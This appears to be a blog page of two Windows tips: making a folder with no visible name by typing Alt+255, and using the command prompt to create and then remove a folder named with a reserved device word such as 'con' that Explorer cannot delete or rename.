In this small tutorial i will show you a smiple windows trick. Basically you can not make folder with no name on windows. This trick will allow you to make folder without any name. This trick works on any windows operating system.

How To Make Nameless Folder

Before attempting this trick, try to make a folder with no name and you will fail to do so. This is what this trick will let you do. Below is screenshot of folder before and after doing this interesting trick.

1. Make a Newfolder on desktop or where ever you want.
2. Right click on this newly created folder and select Rename.
3. Erase the text showing "new folder".
4. Now keep Pressing Alt (i.e alter key) and type 255. If you are on laptop then you need to enable your Num Lock and type from the highlighted number keys not from those below function key.
5. After that leave alt key and Press enter.
6. Done you just created nameless folder.

Read full post »

How To Create Undeleteable And Unrenameable Folders In Windows ?

In this tutorial you will learn cool and simple trick to Create an undeletable and unrenamable Folders In Windows Operating System. Most of the Peoples are not aware that it is possible to create Undeletable, Unrenamable folder in windows without any software. To Test this concept just follow simple steps given below.

Try to make a new folder in windows & give it name con,aux, lpt1, lpt2, lpt3 up to lpt9. you won't be allowed to create folder with above mentioned names, Because they are reserved words in windows.

How To Create Undeletable And Unrenamable Folders ?

1. Go to Start and then Click on Run
2. Type cmd & hit enter (To open Command Prompt ).
3. Remember you cannot create Undeletable & unrenamable folder in your root directory (i.e. where the windows is installed) That means you can't make this kind of folder in C: drive if you installed windows on C:
4. Type D: or E: and hit enter
5. Type md con\ and hit enter (md - make directory)
6. You may use other words such as aux, lpt1, lpt2, lpt3 up to lpt9 instead of con in above step.
7. Open that directory, you will see the folder created of name con.
8. Try to delete that folder or rename that folder windows will show the error message.

How to delete that folder ?

It is not possible to delete that folder manually but you can delete this folder by another way mentioned below.

1. Open Command Prompt
2. Type D: ( if u created this type of folder in D: drive) & hit enter
3. Type rd con\ (rd - remove directory)
4. Open that directory and the folder will not appear because it is removed.

Read full post »